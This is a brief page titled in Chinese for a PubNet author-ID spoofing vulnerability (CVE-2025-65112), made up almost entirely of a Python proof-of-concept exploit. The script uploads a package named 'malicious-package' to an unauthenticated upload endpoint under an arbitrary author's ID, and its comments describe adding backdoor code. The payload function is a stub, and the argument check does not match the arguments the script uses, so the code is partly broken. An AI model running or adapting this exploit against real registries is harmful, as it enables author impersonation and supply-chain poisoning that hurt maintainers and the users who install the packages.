PubNet任意作者身份伪造漏洞(CVE-2025-65112)

import requests import json import sys def exploit_pubnet(target_url, fake_author_id): """ Exploit for CVE-2025-65112: PubNet Unauthenticated Author ID Spoofing This PoC demonstrates uploading a package with arbitrary author-id """ upload_url = f"{target_url}/api/storage/upload" # Malicious package payload with spoofed author-id files = { 'package': ('malicious.tar.gz', create_malicious_package(), 'application/gzip') } data = { 'author-id': fake_author_id, # Spoofed author ID 'name': 'malicious-package', 'version': '1.0.0' } # No authentication required response = requests.post(upload_url, files=files, data=data) if response.status_code == 200: print(f"[+] Successfully uploaded package as author {fake_author_id}") return True else: print(f"[-] Upload failed: {response.status_code}") return False def create_malicious_package(): """ Create a malicious package with backdoor code """ # Package content would include malicious code return b'\x1f\x8b\x08\x00' # Gzip magic bytes if __name__ == '__main__': if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <fake_author_id>") sys.exit(1) target = sys.argv[1] author_id = sys.argv[2] exploit_pubnet(target, author_id)